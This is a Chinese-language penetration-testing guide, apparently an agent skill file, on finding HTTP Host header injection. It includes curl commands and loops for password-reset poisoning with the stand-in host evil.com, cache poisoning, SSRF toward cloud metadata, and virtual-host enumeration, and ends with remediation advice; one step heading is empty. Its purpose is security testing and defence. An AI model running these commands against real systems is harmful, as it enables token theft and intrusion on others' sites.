| name | testing-for-host-header-injection |
| description | 测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["host-header-injection","password-reset-poisoning","cache-poisoning","virtual-host","web-security","header-manipulation","ssrf"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试 Host 头部注入(Testing for Host Header Injection)
适用场景
- 测试密码重置功能是否存在通过 Host 操控窃取 Token 的风险
- 评估受 Host 头部值影响的 Web 缓存行为
- 测试虚拟主机路由和服务器端请求处理
- 对反向代理或负载均衡器后的应用进行渗透测试
- 通过 Host 头部操控评估 SSRF 潜在风险
前置条件
- Burp Suite(用于拦截和修改 Host 头部)
- 了解 HTTP Host 头部在虚拟主机和路由中的作用
- 熟悉替代 Host 头部(X-Forwarded-Host、X-Host、X-Original-URL)
- 用于接收中毒请求的攻击者控制域名
- Burp Collaborator 或 interact.sh(用于带外检测)
- 用于密码重置测试的多个测试账户
工作流程
步骤 1 — 测试基本 Host 头部注入
curl -H "Host: evil.com" http://target.com/ -v
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v
步骤 2 — 测试密码重置中毒
curl -X POST http://target.com/forgot-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
curl -X POST http://target.com/forgot-password \
-H "X-Forwarded-Host: evil.com" \
-d "email=victim@target.com"
curl -X POST http://target.com/forgot-password \
-H "Host: target.com:80@evil.com" \
-d "email=victim@target.com"
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
curl -X POST http://target.com/forgot-password \
-H "$header: evil.com" \
-d "email=victim@target.com"
echo "已测试:$header"
done
步骤 3 — 通过 Host 头部测试 Web 缓存投毒
curl -H "Host: evil.com" http://target.com/ -v
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
curl http://target.com/login -v
curl -H "X-Forwarded-Host: evil.com" http://target.com/
步骤 4 — 通过 Host 头部测试 SSRF
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
curl -H "Host: 169.254.169.254" http://target.com/
for port in 80 443 8080 8443 3000 5000 9200; do
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
echo " - 端口 $port"
done
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/
步骤 5 — 测试虚拟主机枚举
for vhost in admin staging dev test api internal backend; do
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
echo "$vhost.target.com - 状态码:$status,大小:$size"
done
curl -H "Host: nonexistent.target.com" http://target.com/ -v
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/
步骤 6 — 测试连接状态攻击
核心概念
| 概念 | 定义 |
|---|
| Host 头部(Host Header) | HTTP 头部,指定请求的目标虚拟主机 |
| 密码重置中毒(Password Reset Poisoning) | 注入 Host 使重置邮件包含攻击者控制的 URL |
| 通过 Host 进行缓存投毒(Cache Poisoning via Host) | 使用包含攻击者控制主机的响应投毒 CDN 缓存 |
| 虚拟主机路由(Virtual Host Routing) | Web 服务器使用 Host 头部将请求路由到不同应用 |
| X-Forwarded-Host | 代理设置的替代头部,可能覆盖 Host 头部 |
| 连接状态攻击(Connection State Attack) | 利用持久连接发送具有不同 Host 值的请求 |
| 服务器端 Host 解析(Server-Side Host Resolution) | 后端代码使用 Host 头部生成 URL 和重定向 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | 用于 Host 头部操控和分析的 HTTP 代理 |
| Burp Collaborator | 用于 Host 头部 SSRF 的带外检测 |
| ffuf | 使用自定义 Host 头部进行虚拟主机暴力枚举 |
| gobuster vhost | 虚拟主机枚举模式 |
| Nuclei | 基于模板的 Host 头部注入扫描 |
| param-miner | 用于发现未键控的 Host 相关头部的 Burp 扩展 |
常见场景
- 密码重置 Token 窃取 — 在密码重置时投毒 Host 头部,使受害者点击指向攻击者服务器的链接,泄露重置 Token
- Web 缓存投毒 — 注入 Host 头部以缓存包含攻击者控制 JavaScript URL 的响应,对所有用户实现存储型 XSS
- 内部面板访问 — 通过虚拟主机操控枚举并访问内部管理面板
- SSRF 访问云元数据 — 使用 Host 头部将服务器端请求重定向到云元数据端点
- 路由绕过 — 通过操控 Host 将请求路由到未受保护的后端实例,从而绕过访问控制
输出格式
## Host 头部注入报告
- **目标**:http://target.com
- **反向代理**:Nginx
- **后端**:Apache/PHP
### 发现
| # | 技术 | 头部 | 影响 | 严重性 |
|---|-----------|--------|--------|----------|
| 1 | 密码重置中毒 | Host: evil.com | Token 窃取 | Critical |
| 2 | 缓存投毒 | X-Forwarded-Host: evil.com | 存储型 XSS | High |
| 3 | 虚拟主机访问 | Host: admin.target.com | 管理面板暴露 | High |
| 4 | SSRF | Host: 169.254.169.254 | 元数据访问 | Critical |
### 修复建议
- 将 Host 头部验证为预期值白名单
- 生成密码重置邮件中的 URL 时不使用 Host 头部
- 配置 Web 服务器拒绝包含无法识别的 Host 值的请求
- 在应用配置中设置绝对 URL,而非从 Host 派生